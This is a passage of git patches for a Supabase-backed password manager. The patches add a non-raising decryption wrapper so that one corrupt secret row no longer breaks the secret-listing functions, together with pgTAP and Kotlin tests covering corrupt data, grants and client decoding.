DISABLE TRIGGER encrypt_twofa_secret_trigger; +INSERT INTO public.secret_metadata(secret_id,twofa_enabled,twofa_type,twofa_secret,recovery_codes_encrypted) +SELECT 'd1800000-0000-4000-8000-000000000022', true,'app', + 'v1:' || pg_temp.legacy_iv_encrypt(totp), pg_temp.legacy_iv_encrypt(recovery) +FROM iv_expected; +ALTER TABLE public.secret_metadata ENABLE TRIGGER encrypt_twofa_secret_trigger; + +\ir ../migrations/20260914000000_randomize_secret_encryption_iv.sql + +SELECT is(public.decrypt_text(s.password_encrypted), e.password, + 'real migration preserves backslashes and Unicode in legacy password bytes') +FROM public.secrets s CROSS JOIN iv_expected e WHERE s.website='iv-upgrade.test'; +SELECT is(public.decrypt_text(m.recovery_codes_encrypted), e.recovery, + 'real migration preserves legacy recovery-code JSON bytes') +FROM public.secret_metadata m CROSS JOIN iv_expected e +WHERE m.secret_id='d1800000-0000-4000-8000-000000000022'; +SELECT is(public.safe_decrypt_twofa_secret(m.twofa_secret), e.totp, + 'real migration preserves legacy TOTP through the application reader') +FROM public.secret_metadata m CROSS JOIN iv_expected e +WHERE m.secret_id='d1800000-0000-4000-8000-000000000022'; +SELECT ok(s.password_encrypted LIKE 'v2:%' + AND m.recovery_codes_encrypted LIKE 'v2:%' AND m.twofa_secret LIKE 'v1:v2:%', + 'all three populated fields receive their correct storage envelopes') +FROM public.secrets s JOIN public.secret_metadata m ON m.secret_id=s.id +WHERE s.website='iv-upgrade.test'; +SELECT is(tgenabled, 'O'::"char", 'migration restores the TOTP input trigger') +FROM pg_trigger WHERE tgrelid='public.secret_metadata'::regclass +AND tgname='encrypt_twofa_secret_trigger'; +SELECT is(public.decrypt_text(public.encrypt_text(password)), password, + 'new plaintext writes preserve literal backslashes and Unicode') FROM iv_expected; +SELECT is(public.decrypt_text(public.encrypt_text('')), '', 'empty plaintext round trips'); +SELECT is(public.decrypt_text(public.encrypt_text(NULL)), NULL, 'null plaintext round trips'); +CREATE TEMP TABLE iv_snapshot AS +SELECT s.password_encrypted,m.recovery_codes_encrypted,m.twofa_secret +FROM public.secrets s JOIN public.secret_metadata m ON m.secret_id=s.id +WHERE s.website='iv-upgrade.test'; + +\ir ../migrations/20260914000000_randomize_secret_encryption_iv.sql + +SELECT results_eq( + $$SELECT s.password_encrypted,m.recovery_codes_encrypted,m.twofa_secret + FROM public.secrets s JOIN public.secret_metadata m ON m.secret_id=s.id + WHERE s.website='iv-upgrade.test'$$, + $$SELECT * FROM iv_snapshot$$, 'replaying the real migration leaves every envelope byte-identical'); +SELECT throws_ok($$UPDATE public.secret_metadata SET twofa_secret='v1:copied-envelope' + WHERE secret_id='d1800000-0000-4000-8000-000000000022'$$, + '22023', 'TOTP input must be plaintext, not a storage envelope', + 'restored trigger rejects importing a stored envelope'); +UPDATE public.secret_metadata SET twofa_secret='NEWPLAINTEXTSEED' +WHERE secret_id='d1800000-0000-4000-8000-000000000022'; +SELECT is(public.safe_decrypt_twofa_secret(twofa_secret),'NEWPLAINTEXTSEED', + 'restored trigger accepts plaintext and encrypts in the new format') +FROM public.secret_metadata WHERE secret_id='d1800000-0000-4000-8000-000000000022'; +-- Corruption fails closed before any row or trigger is changed, with a +-- column-specific recovery hint rather than leaking a value in diagnostics. +ALTER TABLE public.secret_metadata DISABLE TRIGGER encrypt_twofa_secret_trigger; +UPDATE public.secret_metadata SET twofa_secret='v1:invalid!' +WHERE secret_id='d1800000-0000-4000-8000-000000000022'; +ALTER TABLE public.secret_metadata ENABLE TRIGGER encrypt_twofa_secret_trigger; +SELECT throws_ok($migration$ +\ir ../migrations/20260914000000_randomize_secret_encryption_iv.sql +$migration$, 'P0001', + 'IV upgrade refused: 1 unreadable rows in public.secret_metadata.twofa_secret; recover these rows with the correct key before retrying', + 'unreadable TOTP aborts the actual migration with column-only diagnostics'); +SELECT is(twofa_secret, 'v1:invalid!', 'failed upgrade preserves the unreadable row') +FROM public.secret_metadata WHERE secret_id='d1800000-0000-4000-8000-000000000022'; +SELECT is(tgenabled, 'O'::"char", 'failed upgrade leaves TOTP encryption enabled') +FROM pg_trigger WHERE tgrelid='public.secret_metadata'::regclass +AND tgname='encrypt_twofa_secret_trigger'; +SELECT * FROM finish(); +ROLLBACK; From 91b9521df5cbfa84abfc918ff5219d975274d024 Mon Sep 17 00:00:00 2001 From: Rushikesh Date: Sun, 13 Sep 2026 03:35:22 +0530 Subject: [PATCH 19/28] fix(security): don't let one undecryptable row abort the secrets listing get_user_secrets, search_user_secrets and get_user_secrets_with_shared decrypted the password (and recovery codes) with a bare decrypt_text inside a set-returning query. decrypt_text raises on an undecryptable value - a wrong key mid-rotation, storage corruption, a v2 MAC mismatch - and one raised row aborts the whole query, so a single bad row made every one of the caller's secrets fail to load. twofa_secret was already read through safe_decrypt_twofa_secret; passwords and recovery codes were not. Add public.try_decrypt_text(text): decrypt_text wrapped to return NULL instead of raising, mirroring safe_decrypt_recovery_codes returning []. Route the password read through it and the recovery-codes read through the existing safe_decrypt_recovery_codes in all three listing RPCs, so one corrupt row surfaces as a single blanked field while every other secret still loads. The RPCs are restated verbatim from their current definitions with only the two decrypt calls changed - every authorization source, the paging tiebreaker and the RETURNS TABLE shape are unchanged. Deliberately not named safe_decrypt_*: rotate_master_encryption_key.sql treats every public safe_decrypt_% function as a bespoke-format read path that must be mapped in its column list and refuses to run otherwise. Add pgTAP coverage: a corrupt password blanks one row, corrupt recovery codes degrade to [], and all three RPCs return the rest; verified against the bare-decrypt_text baseline that still aborts. --- ...0260914000000_resilient_secret_listing.sql | 285 ++++++++++++++++++ .../tests/resilient_secret_listing_test.sql | 79 +++++ 2 files changed, 364 insertions(+) create mode 100644 supabase/migrations/20260914000000_resilient_secret_listing.sql create mode 100644 supabase/tests/resilient_secret_listing_test.sql diff --git a/supabase/migrations/20260914000000_resilient_secret_listing.sql b/supabase/migrations/20260914000000_resilient_secret_listing.sql new file mode 100644 index 0000000000..b67340829a --- /dev/null +++ b/supabase/migrations/20260914000000_resilient_secret_listing.sql @@ -0,0 +1,285 @@ +-- ============================================================================ +-- BOSS Database Schema: Resilient Secret Listing (one bad row must not blank a page) +-- ============================================================================ +-- File: 20260914000000_resilient_secret_listing.sql +-- Description: get_user_secrets, search_user_secrets and get_user_secrets_with_shared +-- decrypted the password (and recovery codes) with a bare public.decrypt_text +-- inside a set-returning query. decrypt_text RAISES on an undecryptable value - +-- a wrong key after a partial rotation, storage corruption, or a v2 MAC +-- mismatch - and one raised row aborts the WHOLE query, so a single bad row +-- made every one of the caller's secrets fail to load, not just the bad one. +-- twofa_secret was already read through safe_decrypt_twofa_secret (NULL on +-- failure); recovery codes and passwords were not. +-- +-- This adds public.try_decrypt_text(text): decrypt_text wrapped so any failure +-- yields NULL for that one field, exactly as safe_decrypt_recovery_codes yields +-- [] for a bad recovery-codes cell. The three listing RPCs now read the +-- password through it and the recovery codes through the existing +-- safe_decrypt_recovery_codes, so a single corrupt row surfaces as one secret +-- with a null password / empty codes while every other secret still loads. +-- +-- NOT named safe_decrypt_*: the key-rotation script +-- (supabase/ops/rotate_master_encryption_key.sql) treats every public +-- safe_decrypt_% function as a bespoke-format read path that MUST be mapped in +-- its column list, and refuses to run if one is not. try_decrypt_text is a +-- generic resilient reader for an ordinary column, not a new storage format, +-- so it deliberately avoids that prefix and needs no rotation adapter. +-- +-- The three functions are restated verbatim from their current definitions +-- (get_user_secrets / search_user_secrets from 20260907000000, +-- get_user_secrets_with_shared from 20260909000000) with ONLY the two decrypt +-- calls changed; every authorization source, the paging tiebreaker and the +-- RETURNS TABLE shape are unchanged. Read authority is unchanged - only what a +-- reader already entitled to a row sees when that row cannot be decrypted. The +-- failure is now silent per row: monitor for a null password on a non-null +-- password_encrypted, and note rotation still fails closed on the same rows +-- because it reads through decrypt_text, not this wrapper. +-- ============================================================================ + +-- Function: try_decrypt_text - decrypt_text, but NULL instead of RAISE on failure. +CREATE OR REPLACE FUNCTION "public"."try_decrypt_text"("ciphertext" "text") RETURNS "text" + LANGUAGE "plpgsql" STABLE SECURITY DEFINER + SET "search_path" TO 'public, pg_catalog' + AS $BODY$ +BEGIN + IF ciphertext IS NULL THEN + RETURN NULL; + END IF; + BEGIN + RETURN public.decrypt_text(ciphertext); + EXCEPTION + WHEN OTHERS THEN + -- Corrupt data, a wrong key mid-rotation, or a v2 integrity failure: + -- blank this one field rather than abort the caller's whole listing. + RETURN NULL; + END; +END; +$BODY$; + +ALTER FUNCTION "public"."try_decrypt_text"("ciphertext" "text") OWNER TO "postgres"; +COMMENT ON FUNCTION "public"."try_decrypt_text"("ciphertext" "text") IS + 'decrypt_text that returns NULL instead of raising, so one undecryptable row does not abort a secret listing. Not a safe_decrypt_* rotation adapter.'; +-- Same client posture as decrypt_text (20260909120000): called only inside these +-- SECURITY DEFINER RPCs, never directly by a client. +REVOKE ALL ON FUNCTION "public"."try_decrypt_text"("ciphertext" "text") FROM PUBLIC, anon, authenticated; + + +-- (a) get_user_secrets - restated from 20260907000000; decrypt calls only. +CREATE OR REPLACE FUNCTION "public"."get_user_secrets"( + "p_limit" integer DEFAULT 50, + "p_offset" integer DEFAULT 0 +) RETURNS TABLE( + "id" "uuid", "website" "text", "username" "text", "password" "text", "notes" "text", + "expiration_date" timestamp with time zone, "tags" "jsonb", "metadata" "jsonb", + "created_at" timestamp with time zone, "updated_at" timestamp with time zone, + "org_id" "uuid", "org_slug" "text", "is_org_owned" boolean, "can_manage" boolean +) + LANGUAGE "plpgsql" STABLE SECURITY DEFINER + SET "search_path" TO '' + AS $$ +BEGIN + RETURN QUERY + SELECT + s.id, s.website, s.username, + public.try_decrypt_text(s.password_encrypted) AS password, + s.notes, s.expiration_date, + COALESCE((SELECT jsonb_agg(st.tag) FROM public.secret_tags st WHERE st.secret_id = s.id), '[]'::jsonb) AS tags, + COALESCE(( + SELECT jsonb_build_object( + 'twofa_enabled', sm.twofa_enabled, + 'twofa_type', sm.twofa_type, + 'recovery_codes', public.safe_decrypt_recovery_codes(sm.recovery_codes_encrypted) + ) + FROM public.secret_metadata sm WHERE sm.secret_id = s.id + ), '{}'::jsonb) AS metadata, + s.created_at, s.updated_at, + s.org_id, + o.slug AS org_slug, + (s.org_id IS NOT NULL) AS is_org_owned, + (s.user_id = auth.uid() + OR public.is_user_admin(auth.uid()) + OR (s.org_id IS NOT NULL AND public.is_org_admin(s.org_id))) AS can_manage + FROM public.secrets s + LEFT JOIN public.organisations o ON o.id = s.org_id + -- Widened from "own secrets" to "own secrets + organisation secrets I can see". + WHERE s.user_id = auth.uid() + OR (s.org_id IS NOT NULL AND public.is_org_member(s.org_id)) + ORDER BY s.created_at DESC, s.id DESC + LIMIT p_limit OFFSET p_offset; +END; +$$; + +ALTER FUNCTION "public"."get_user_secrets"(integer,integer) OWNER TO "postgres"; + +ALTER FUNCTION "public"."get_user_secrets"(integer,integer) OWNER TO "postgres"; + + +-- (b) search_user_secrets - restated from 20260907000000; decrypt calls only. +CREATE OR REPLACE FUNCTION "public"."search_user_secrets"( + "p_query" "text", + "p_limit" integer DEFAULT 50, + "p_offset" integer DEFAULT 0 +) RETURNS TABLE( + "id" "uuid", "website" "text", "username" "text", "password" "text", "notes" "text", + "expiration_date" timestamp with time zone, "tags" "jsonb", "metadata" "jsonb", + "created_at" timestamp with time zone, "updated_at" timestamp with time zone, + "org_id" "uuid", "org_slug" "text", "is_org_owned" boolean, "can_manage" boolean +) + LANGUAGE "plpgsql" STABLE SECURITY DEFINER + SET "search_path" TO '' + AS $$ +BEGIN + RETURN QUERY + SELECT + s.id, s.website, s.username, + public.try_decrypt_text(s.password_encrypted) AS password, + s.notes, s.expiration_date, + COALESCE((SELECT jsonb_agg(st.tag) FROM public.secret_tags st WHERE st.secret_id = s.id), '[]'::jsonb) AS tags, + COALESCE(( + SELECT jsonb_build_object( + 'twofa_enabled', sm.twofa_enabled, + 'twofa_type', sm.twofa_type, + 'recovery_codes', public.safe_decrypt_recovery_codes(sm.recovery_codes_encrypted) + ) + FROM public.secret_metadata sm WHERE sm.secret_id = s.id + ), '{}'::jsonb) AS metadata, + s.created_at, s.updated_at, + s.org_id, + o.slug AS org_slug, + (s.org_id IS NOT NULL) AS is_org_owned, + (s.user_id = auth.uid() + OR public.is_user_admin(auth.uid()) + OR (s.org_id IS NOT NULL AND public.is_org_admin(s.org_id))) AS can_manage + FROM public.secrets s + LEFT JOIN public.organisations o ON o.id = s.org_id + WHERE (s.user_id = auth.uid() + OR (s.org_id IS NOT NULL AND public.is_org_member(s.org_id))) + AND (s.website ILIKE '%' || p_query || '%' OR s.username ILIKE '%' || p_query || '%') + ORDER BY s.created_at DESC, s.id DESC + LIMIT p_limit OFFSET p_offset; +END; +$$; + +ALTER FUNCTION "public"."search_user_secrets"("text",integer,integer) OWNER TO "postgres"; + +ALTER FUNCTION "public"."search_user_secrets"("text",integer,integer) OWNER TO "postgres"; + + +-- (c) get_user_secrets_with_shared - restated from 20260909000000; decrypt calls only. +CREATE OR REPLACE FUNCTION "public"."get_user_secrets_with_shared"( + "p_limit" integer DEFAULT 50, + "p_offset" integer DEFAULT 0 +) RETURNS TABLE( + "id" "uuid", "website" "text", "username" "text", "password" "text", "notes" "text", + "expiration_date" timestamp with time zone, "tags" "jsonb", "metadata" "jsonb", + "created_at" timestamp with time zone, "updated_at" timestamp with time zone, + "is_owner" boolean, "shared_by_email" "text", "access_level" "text", + "org_id" "uuid", "org_slug" "text", "is_org_owned" boolean, + "shared_with_org_slug" "text", "can_manage" boolean +) + LANGUAGE "plpgsql" STABLE SECURITY DEFINER + SET "search_path" TO '' + AS $$ +BEGIN + RETURN QUERY + WITH accessible_secrets AS ( + -- Source 1: the caller's own secrets. + SELECT s.id, TRUE AS is_owner, NULL::TEXT AS shared_by_email, + 'owner'::TEXT AS access_level, NULL::TEXT AS shared_with_org_slug, 1 AS priority + FROM public.secrets s + WHERE s.user_id = auth.uid() + + UNION ALL + + -- Source 4: secrets OWNED BY an organisation the caller belongs to. + SELECT s.id, (s.user_id = auth.uid()) AS is_owner, NULL::TEXT, + 'org'::TEXT, o.slug, 2 + FROM public.secrets s + JOIN public.organisations o ON o.id = s.org_id + WHERE s.org_id IS NOT NULL + AND public.is_org_member(s.org_id) + + UNION ALL + + -- Source 2: shared directly with the caller. + SELECT s.id, FALSE, u.email, ss.access_level, NULL::TEXT, 3 + FROM public.secrets s + JOIN public.secret_shares ss ON ss.secret_id = s.id + JOIN auth.users u ON u.id = ss.shared_by + WHERE ss.shared_with_user_id = auth.uid() + AND (ss.expires_at IS NULL OR ss.expires_at > now()) + + UNION ALL + + -- Source 3: shared with a role the caller holds, OR any DESCENDANT of one + -- (20260802010000). Previously matched assigned roles only, which + -- disagreed with how authorize() expands permissions. + SELECT s.id, FALSE, u.email, ss.access_level, NULL::TEXT, 4 + FROM public.secrets s + JOIN public.secret_shares ss ON ss.secret_id = s.id + JOIN auth.users u ON u.id = ss.shared_by + WHERE ss.shared_with_role_id IN (SELECT public.effective_share_role_ids(auth.uid())) + AND (ss.expires_at IS NULL OR ss.expires_at > now()) + + UNION ALL + + -- Source 5: shared with an organisation the caller belongs to. + SELECT s.id, FALSE, u.email, ss.access_level, o.slug, 5 + FROM public.secrets s + JOIN public.secret_shares ss ON ss.secret_id = s.id + JOIN auth.users u ON u.id = ss.shared_by + JOIN public.organisations o ON o.id = ss.shared_with_org_id + WHERE ss.shared_with_org_id IS NOT NULL + AND public.is_org_member(ss.shared_with_org_id) + AND (ss.expires_at IS NULL OR ss.expires_at > now()) + ), + unique_secrets AS ( + SELECT DISTINCT ON (a.id) + a.id, a.is_owner, a.shared_by_email, a.access_level, a.shared_with_org_slug + FROM accessible_secrets a + ORDER BY a.id, a.is_owner DESC, a.priority + ) + SELECT + s.id, s.website, s.username, + public.try_decrypt_text(s.password_encrypted) AS password, + s.notes, s.expiration_date, + COALESCE((SELECT jsonb_agg(st.tag) FROM public.secret_tags st WHERE st.secret_id = s.id), '[]'::jsonb) AS tags, + COALESCE(( + SELECT jsonb_build_object( + 'twofa_enabled', sm.twofa_enabled, + 'twofa_type', sm.twofa_type, + 'twofa_secret', public.safe_decrypt_twofa_secret(sm.twofa_secret), + 'recovery_codes', public.safe_decrypt_recovery_codes(sm.recovery_codes_encrypted) + ) + FROM public.secret_metadata sm WHERE sm.secret_id = s.id + ), '{}'::jsonb) AS metadata, + s.created_at, s.updated_at, + us.is_owner, us.shared_by_email, us.access_level, + s.org_id, + o.slug AS org_slug, + (s.org_id IS NOT NULL) AS is_org_owned, + us.shared_with_org_slug, + (s.user_id = auth.uid() + OR public.is_user_admin(auth.uid()) + OR (s.org_id IS NOT NULL AND public.is_org_admin(s.org_id))) AS can_manage + FROM unique_secrets us + JOIN public.secrets s ON s.id = us.id + LEFT JOIN public.organisations o ON o.id = s.org_id + ORDER BY s.created_at DESC, s.id DESC + LIMIT p_limit OFFSET p_offset; +END; +$$; + +ALTER FUNCTION "public"."get_user_secrets_with_shared"(integer,integer) OWNER TO "postgres"; + +ALTER FUNCTION "public"."get_user_secrets_with_shared"(integer,integer) OWNER TO "postgres"; + + +-- Restate the existing RPC grants, as the paging and TOTP migrations do. +GRANT EXECUTE ON FUNCTION "public"."get_user_secrets"(integer,integer) TO "authenticated", "service_role"; +GRANT EXECUTE ON FUNCTION "public"."search_user_secrets"("text",integer,integer) TO "authenticated", "service_role"; +GRANT EXECUTE ON FUNCTION "public"."get_user_secrets_with_shared"(integer,integer) TO "authenticated", "service_role"; + +-- ============================================================================ +-- End of File: 20260914000000_resilient_secret_listing.sql +-- ============================================================================ diff --git a/supabase/tests/resilient_secret_listing_test.sql b/supabase/tests/resilient_secret_listing_test.sql new file mode 100644 index 0000000000..f2be06183a --- /dev/null +++ b/supabase/tests/resilient_secret_listing_test.sql @@ -0,0 +1,79 @@ +-- pgTAP tests for resilient secret listing +-- (migration 20260914000000_resilient_secret_listing.sql). +-- +-- get_user_secrets / search_user_secrets / get_user_secrets_with_shared read the +-- password with a bare decrypt_text inside a set-returning query. decrypt_text +-- RAISES on an undecryptable value, and one raised row aborts the whole query - +-- so a single corrupt row (wrong key mid-rotation, storage corruption, a v2 MAC +-- mismatch) made every one of the caller's secrets fail to load. The migration +-- routes the password through try_decrypt_text (NULL on failure) and the +-- recovery codes through the existing safe_decrypt_recovery_codes ([] on +-- failure), so one bad row surfaces as one blanked field while the rest load. + +begin; +select plan(11); + +select vault.create_secret( + 'a1b2c3d4e5f60718293a4b5c6d7e8f90a1b2c3d4e5f60718293a4b5c6d7e8f90', + 'master_encryption_key', + 'pgTAP only' +); + +insert into auth.users (id, email) values + ('cafe0000-0000-4000-8000-000000000001', 'listing-owner@pgtap.test'); + +-- A readable secret, a secret whose password ciphertext is corrupt, and a secret +-- whose recovery codes are corrupt. The password rows are inserted directly (as +-- the test superuser, bypassing RLS) so we control the exact stored bytes. +insert into public.secrets (id, user_id, website, username, password_encrypted) values + ('cafe0000-0000-4000-8000-0000000000a1', 'cafe0000-0000-4000-8000-000000000001', 'good.example', 'u1', public.encrypt_text('GoodPassword1')), + ('cafe0000-0000-4000-8000-0000000000a2', 'cafe0000-0000-4000-8000-000000000001', 'broken.example','u2', '!!!not-valid-base64!!!'), + ('cafe0000-0000-4000-8000-0000000000a3', 'cafe0000-0000-4000-8000-000000000001', 'codes.example', 'u3', public.encrypt_text('GoodPassword3')); +insert into public.secret_metadata (secret_id, twofa_enabled, twofa_type, recovery_codes_encrypted) values + ('cafe0000-0000-4000-8000-0000000000a3', true, 'app', '###corrupt-codes###'); + +-- 1-2. try_decrypt_text is decrypt_text with NULL instead of a raise. +select is(public.try_decrypt_text(public.encrypt_text('round-trip')), 'round-trip', + 'try_decrypt_text returns the plaintext for a good value'); +select is(public.try_decrypt_text('!!!not-valid-base64!!!'), NULL::text, + 'try_decrypt_text returns NULL instead of raising on a corrupt value'); + +-- 3. Baseline: a bare decrypt_text over the same set still aborts, which is the +-- behaviour the RPCs used to inherit. +select throws_ok( + $$ SELECT public.decrypt_text(password_encrypted) FROM public.secrets $$, + NULL, NULL, + 'bare decrypt_text over the set still aborts on the corrupt row'); + +set local role authenticated; +select set_config('request.jwt.claims', + '{"sub":"cafe0000-0000-4000-8000-000000000001","role":"authenticated"}', true); + +-- 4. get_user_secrets returns EVERY row rather than aborting on the bad one. +select is((select count(*) from public.get_user_secrets(50, 0)), 3::bigint, + 'get_user_secrets returns all rows despite a corrupt one'); +-- 5-6. The good password decrypts; the corrupt one is a NULL password, not an error. +select is((select password from public.get_user_secrets(50, 0) where website = 'good.example'), + 'GoodPassword1', 'the readable password still decrypts'); +select is((select password from public.get_user_secrets(50, 0) where website = 'broken.example'), + NULL::text, 'the corrupt password is blanked, not fatal'); +-- 7. Corrupt recovery codes degrade to [] through safe_decrypt_recovery_codes. +select is((select metadata->>'recovery_codes' from public.get_user_secrets(50, 0) where website = 'codes.example'), + '[]', 'corrupt recovery codes degrade to an empty array'); + +-- 8-9. The same resilience holds for the other two listing RPCs. +select is((select count(*) from public.search_user_secrets('.example', 50, 0)), 3::bigint, + 'search_user_secrets returns all matching rows despite a corrupt one'); +select is((select count(*) from public.get_user_secrets_with_shared(50, 0)), 3::bigint, + 'get_user_secrets_with_shared returns all rows despite a corrupt one'); + +reset role; + +-- 10-11. try_decrypt_text stays server-side, like decrypt_text (20260909120000). +select ok(not has_function_privilege('anon', 'public.try_decrypt_text(text)', 'EXECUTE'), + 'anon cannot execute try_decrypt_text'); +select ok(not has_function_privilege('authenticated', 'public.try_decrypt_text(text)', 'EXECUTE'), + 'authenticated cannot execute try_decrypt_text'); + +select * from finish(); +rollback; From 085ca7f28838d97275985d6439eebf3e01f46ad6 Mon Sep 17 00:00:00 2001 From: Shivang Date: Sat, 12 Sep 2026 21:02:29 -0700 Subject: [PATCH 20/28] fix(secrets): keep resilient listings compatible with installed clients --- .../services/supabase/SecretDecodingTest.kt | 24 ++++++++++++++ supabase/audit/identity_disclosure_audit.sql | 2 +- ...0260914000000_resilient_secret_listing.sql | 24 +++++++------- .../explicit_anon_and_org_visibility_test.sql | 2 +- .../tests/resilient_secret_listing_test.sql | 31 ++++++++++++++----- 5 files changed, 61 insertions(+), 22 deletions(-) diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/services/supabase/SecretDecodingTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/services/supabase/SecretDecodingTest.kt index f25582f5f4..bc296d4ea7 100644 --- a/composeApp/src/desktopTest/kotlin/ai/rever/boss/services/supabase/SecretDecodingTest.kt +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/services/supabase/SecretDecodingTest.kt @@ -35,6 +35,30 @@ import kotlin.test.assertNull * pinning is that the services are wired to it and stay so. */ class SecretDecodingTest { + @Test + fun `blanked corrupt passwords preserve every row in both listing models`() { + val payload = + buildJsonArray { + for (id in listOf("good", "corrupt")) { + add( + buildJsonObject { + baseSecret(id) + put("password", if (id == "corrupt") "" else "readable") + put("is_owner", true) + put("access_level", "owner") + }, + ) + } + } + + val plain = supabaseJson.decodeFromJsonElement>(payload) + val shared = supabaseJson.decodeFromJsonElement>(payload) + assertEquals(listOf("good", "corrupt"), plain.map { it.id }) + assertEquals(listOf("readable", ""), plain.map { it.password }) + assertEquals(listOf("good", "corrupt"), shared.map { it.id }) + assertEquals(listOf("readable", ""), shared.map { it.password }) + } + /** The ten columns every secret RPC returned before the organisation work. */ private fun JsonObjectBuilder.baseSecret(id: String) { put("id", id) diff --git a/supabase/audit/identity_disclosure_audit.sql b/supabase/audit/identity_disclosure_audit.sql index ba0dd672e5..58e56b7d4f 100644 --- a/supabase/audit/identity_disclosure_audit.sql +++ b/supabase/audit/identity_disclosure_audit.sql @@ -225,7 +225,7 @@ from unnest(array['public.get_encryption_key()', 'public.encrypt_text(text)', 'public.decrypt_text(text)', 'public.safe_decrypt_recovery_codes(text)', 'public.upsert_plugin_rating(uuid,uuid,integer,text)', 'public.record_plugin_download(uuid,uuid,uuid,text)', - 'public.custom_access_token_hook(jsonb)']) signature + 'public.custom_access_token_hook(jsonb)', 'public.try_decrypt_text(text)']) signature cross join unnest(array['anon', 'authenticated']) role_name where to_regprocedure(signature) is null or has_function_privilege(role_name, to_regprocedure(signature), 'EXECUTE') diff --git a/supabase/migrations/20260914000000_resilient_secret_listing.sql b/supabase/migrations/20260914000000_resilient_secret_listing.sql index b67340829a..400708040b 100644 --- a/supabase/migrations/20260914000000_resilient_secret_listing.sql +++ b/supabase/migrations/20260914000000_resilient_secret_listing.sql @@ -16,7 +16,9 @@ -- [] for a bad recovery-codes cell. The three listing RPCs now read the -- password through it and the recovery codes through the existing -- safe_decrypt_recovery_codes, so a single corrupt row surfaces as one secret --- with a null password / empty codes while every other secret still loads. +-- with an empty password / empty codes while every other secret still loads. +-- RPC passwords remain non-null strings for installed desktop clients, whose +-- SecretEntry and SecretEntryWithSharing models cannot decode a null password. -- -- NOT named safe_decrypt_*: the key-rotation script -- (supabase/ops/rotate_master_encryption_key.sql) treats every public @@ -31,7 +33,7 @@ -- calls changed; every authorization source, the paging tiebreaker and the -- RETURNS TABLE shape are unchanged. Read authority is unchanged - only what a -- reader already entitled to a row sees when that row cannot be decrypted. The --- failure is now silent per row: monitor for a null password on a non-null +-- failure is now silent per row: monitor try_decrypt_text returning NULL on a non-null -- password_encrypted, and note rotation still fails closed on the same rows -- because it reads through decrypt_text, not this wrapper. -- ============================================================================ @@ -39,7 +41,7 @@ -- Function: try_decrypt_text - decrypt_text, but NULL instead of RAISE on failure. CREATE OR REPLACE FUNCTION "public"."try_decrypt_text"("ciphertext" "text") RETURNS "text" LANGUAGE "plpgsql" STABLE SECURITY DEFINER - SET "search_path" TO 'public, pg_catalog' + SET "search_path" TO '' AS $BODY$ BEGIN IF ciphertext IS NULL THEN @@ -51,6 +53,8 @@ BEGIN WHEN OTHERS THEN -- Corrupt data, a wrong key mid-rotation, or a v2 integrity failure: -- blank this one field rather than abort the caller's whole listing. + -- Report only SQLSTATE: error messages may contain secret material. + RAISE WARNING 'Secret decryption failed (SQLSTATE %)', SQLSTATE; RETURN NULL; END; END; @@ -61,7 +65,7 @@ COMMENT ON FUNCTION "public"."try_decrypt_text"("ciphertext" "text") IS 'decrypt_text that returns NULL instead of raising, so one undecryptable row does not abort a secret listing. Not a safe_decrypt_* rotation adapter.'; -- Same client posture as decrypt_text (20260909120000): called only inside these -- SECURITY DEFINER RPCs, never directly by a client. -REVOKE ALL ON FUNCTION "public"."try_decrypt_text"("ciphertext" "text") FROM PUBLIC, anon, authenticated; +REVOKE ALL ON FUNCTION "public"."try_decrypt_text"("ciphertext" "text") FROM PUBLIC, anon, authenticated, service_role; -- (a) get_user_secrets - restated from 20260907000000; decrypt calls only. @@ -81,7 +85,7 @@ BEGIN RETURN QUERY SELECT s.id, s.website, s.username, - public.try_decrypt_text(s.password_encrypted) AS password, + COALESCE(public.try_decrypt_text(s.password_encrypted), '') AS password, s.notes, s.expiration_date, COALESCE((SELECT jsonb_agg(st.tag) FROM public.secret_tags st WHERE st.secret_id = s.id), '[]'::jsonb) AS tags, COALESCE(( @@ -111,8 +115,6 @@ $$; ALTER FUNCTION "public"."get_user_secrets"(integer,integer) OWNER TO "postgres"; -ALTER FUNCTION "public"."get_user_secrets"(integer,integer) OWNER TO "postgres"; - -- (b) search_user_secrets - restated from 20260907000000; decrypt calls only. CREATE OR REPLACE FUNCTION "public"."search_user_secrets"( @@ -132,7 +134,7 @@ BEGIN RETURN QUERY SELECT s.id, s.website, s.username, - public.try_decrypt_text(s.password_encrypted) AS password, + COALESCE(public.try_decrypt_text(s.password_encrypted), '') AS password, s.notes, s.expiration_date, COALESCE((SELECT jsonb_agg(st.tag) FROM public.secret_tags st WHERE st.secret_id = s.id), '[]'::jsonb) AS tags, COALESCE(( @@ -162,8 +164,6 @@ $$; ALTER FUNCTION "public"."search_user_secrets"("text",integer,integer) OWNER TO "postgres"; -ALTER FUNCTION "public"."search_user_secrets"("text",integer,integer) OWNER TO "postgres"; - -- (c) get_user_secrets_with_shared - restated from 20260909000000; decrypt calls only. CREATE OR REPLACE FUNCTION "public"."get_user_secrets_with_shared"( @@ -241,7 +241,7 @@ BEGIN ) SELECT s.id, s.website, s.username, - public.try_decrypt_text(s.password_encrypted) AS password, + COALESCE(public.try_decrypt_text(s.password_encrypted), '') AS password, s.notes, s.expiration_date, COALESCE((SELECT jsonb_agg(st.tag) FROM public.secret_tags st WHERE st.secret_id = s.id), '[]'::jsonb) AS tags, COALESCE(( @@ -272,8 +272,6 @@ $$; ALTER FUNCTION "public"."get_user_secrets_with_shared"(integer,integer) OWNER TO "postgres"; -ALTER FUNCTION "public"."get_user_secrets_with_shared"(integer,integer) OWNER TO "postgres"; - -- Restate the existing RPC grants, as the paging and TOTP migrations do. GRANT EXECUTE ON FUNCTION "public"."get_user_secrets"(integer,integer) TO "authenticated", "service_role"; diff --git a/supabase/tests/explicit_anon_and_org_visibility_test.sql b/supabase/tests/explicit_anon_and_org_visibility_test.sql index 5e760d106d..01fbfb0d6d 100644 --- a/supabase/tests/explicit_anon_and_org_visibility_test.sql +++ b/supabase/tests/explicit_anon_and_org_visibility_test.sql @@ -7,7 +7,7 @@ from unnest(array['anon', 'authenticated']) r cross join unnest(array['public.get_encryption_key()', 'public.encrypt_text(text)', 'public.decrypt_text(text)', 'public.safe_decrypt_recovery_codes(text)', 'public.user_display_name(uuid)', 'public.upsert_plugin_rating(uuid,uuid,integer,text)', - 'public.record_plugin_download(uuid,uuid,uuid,text)', 'public.custom_access_token_hook(jsonb)']) f; + 'public.record_plugin_download(uuid,uuid,uuid,text)', 'public.custom_access_token_hook(jsonb)', 'public.try_decrypt_text(text)']) f; -- Also exercise the actual 